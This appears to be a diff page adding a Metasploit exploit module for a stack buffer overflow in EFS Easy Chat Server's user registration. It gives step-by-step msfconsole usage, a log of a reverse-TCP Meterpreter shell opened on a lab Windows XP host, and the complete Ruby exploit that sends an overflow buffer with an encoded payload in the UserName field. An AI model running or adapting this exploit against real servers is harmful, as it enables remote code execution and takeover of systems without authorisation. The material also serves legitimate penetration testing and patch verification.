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Land #8586, Easy Chat Server 2 to 3.1 - Buffer overflow (SEH) exploit
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## Description | ||
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This module exploits a vulnerability in the EFS Easy Chat Server application, from version 2 to 3.1, affecting the username parameter in Registration page 'register.ghp', which is prone to a stack overflow vulnerability. | ||
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This module allows a remote attacker to get a payload executed under the context of the user running the Easy Chat Server application | ||
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## Vulnerable Application | ||
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[Easy Chat Server](http://echatserver.com/) Easy Chat Server is a easy, fast and affordable way to host and manage real-time communication software. | ||
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This module has been tested successfully on | ||
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* Easy Chat Server 3.1 on Windows XP En SP3 | ||
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Installers: | ||
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[EFS Easy Chat Server Installers](http://echatserver.com/ecssetup.exe) | ||
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## Verification Steps | ||
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1. Start `msfconsole` | ||
2. Do: `use exploits/windows/http/easychatserver_seh` | ||
3. Do: `set rhosts [IP]` | ||
4. Do: `exploit` | ||
5. You should get your payload executed | ||
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## Scenarios | ||
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``` | ||
marco@kali:~$ msfconsole -q | ||
msf > use exploit/windows/http/easychatserver_seh | ||
msf exploit(easychatserver_seh) > set RHOST 192.168.56.101 | ||
RHOST => 192.168.56.101 | ||
msf exploit(easychatserver_seh) > exploit | ||
[*] Started reverse TCP handler on 192.168.56.1:4444 | ||
[*] Sending stage (957487 bytes) to 192.168.56.101 | ||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1037) at 2017-06-20 00:43:51 +0200 | ||
meterpreter > sysinfo | ||
Computer : MM-8B040C5B05D9 | ||
OS : Windows XP (Build 2600, Service Pack 3). | ||
Architecture : x86 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x86/windows | ||
meterpreter > exit | ||
[*] Shutting down Meterpreter... | ||
[*] 192.168.56.101 - Meterpreter session 1 closed. Reason: User exit | ||
msf exploit(easychatserver_seh) > | ||
``` |
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## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
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class MetasploitModule < Msf::Exploit::Remote | ||
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Rank = NormalRanking | ||
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include Msf::Exploit::Remote::HttpClient | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Easy Chat Server User Registeration Buffer Overflow (SEH)', | ||
'Description' => %q{ | ||
This module exploits a buffer overflow during user registration in Easy Chat Server software. | ||
}, | ||
'Author' => | ||
[ | ||
'Marco Rivoli', #Metasploit | ||
'Aitezaz Mohsin' #POC | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'EDB', '42155' ], | ||
], | ||
'Privileged' => true, | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e", | ||
}, | ||
'Platform' => 'win', | ||
'Targets' => | ||
[ | ||
[ 'Easy Chat Server 2.0 to 3.1', { 'Ret' => 0x100104bc } ], | ||
], | ||
'DefaultOptions' => { | ||
'RPORT' => 80, | ||
'EXITFUNC' => 'thread', | ||
'ENCODER' => 'x86/alpha_mixed' | ||
}, | ||
'DisclosureDate' => 'Oct 09 2017', | ||
'DefaultTarget' => 0)) | ||
end | ||
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def exploit | ||
sploit = rand_text_alpha_upper(217) | ||
sploit << "\xeb\x06\x90\x90" | ||
sploit << [target.ret].pack('V') | ||
sploit << payload.encoded | ||
sploit << rand_text_alpha_upper(200) | ||
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res = send_request_cgi({ | ||
'uri' => normalize_uri(URI,'registresult.htm'), | ||
'method' => 'POST', | ||
'vars_post' => { | ||
'UserName' => sploit, | ||
'Password' => 'test', | ||
'Password1' => 'test', | ||
'Sex' => 1, | ||
'Email' => 'x@', | ||
'Icon' => 'x.gif', | ||
'Resume' => 'xxxx', | ||
'cw' => 1, | ||
'RoomID' => 4, | ||
'RepUserName' => 'admin', | ||
'submit1' => 'Register' | ||
} | ||
}) | ||
handler | ||
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end | ||
end |